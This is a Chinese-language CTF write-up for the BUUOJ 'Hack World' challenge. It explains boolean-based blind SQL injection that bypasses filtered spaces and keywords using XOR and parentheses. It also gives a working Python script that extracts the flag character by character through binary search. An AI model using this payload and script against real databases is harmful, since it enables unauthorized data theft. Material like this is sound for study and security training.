1. 引言
題目鏈接:https://buuoj.cn/challenges#[CISCN2019 華北賽區 Day2 Web1]Hack World
2. 解題思路
-
輸入 1 或者 2 都有正常回顯,但是輸入1和2的回顯不同輸入其他會返回false,猜測為bool型注入。
-
空格、*、#、-、+、&、or、and等常規的SQL注入符號都被過濾了。
-
輸入1/1,0^1的結果和輸入1的結果相同,說明為數值型注入,且可以使用盲注。
-
利用ascii()和substr()方法進行盲注。
substr(string string,num start,num length);
select substr(參數1,參數2,參數3) from 表名`
string為字符串;start為起始位置;length為長度。
注意:mysql中的start是從1開始的。
ascii(substr((select(flag)from(flag)),i,1))=s
id=1^(ascii(substr((select(flag)from(flag)),i,1))>s) //二分法
i為整型數,表示flag字段中某一個位置,s為可打印ascii字符,如果flag中第i個字符與字符s一樣,那么該語句為true,否則為false,結合二分法的話可以提高盲注腳本的效率。
盲注腳本如下:
import requests
import time
url='http://512bce8a-d748-455e-a8fd-bc960e4fc4ee.node3.buuoj.cn/index.php'
flag = ''
for i in range(1,43):
max = 127
min = 32
while True:
s = int(((max+min)/2))
payload = '1^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')'
# print(payload)
r = requests.post(url,data = {'id':payload})
time.sleep(0.1) #防止請求速度過快,被BUUCTF平台屏蔽請求
if 'Hello, glzjin wants a girlfriend.' in str(r.content):
max=s
else:
min=s
if((max-min)<=1):
# print(min)
# print(max)
flag+=chr(int(max))
print(flag)
break
print(flag)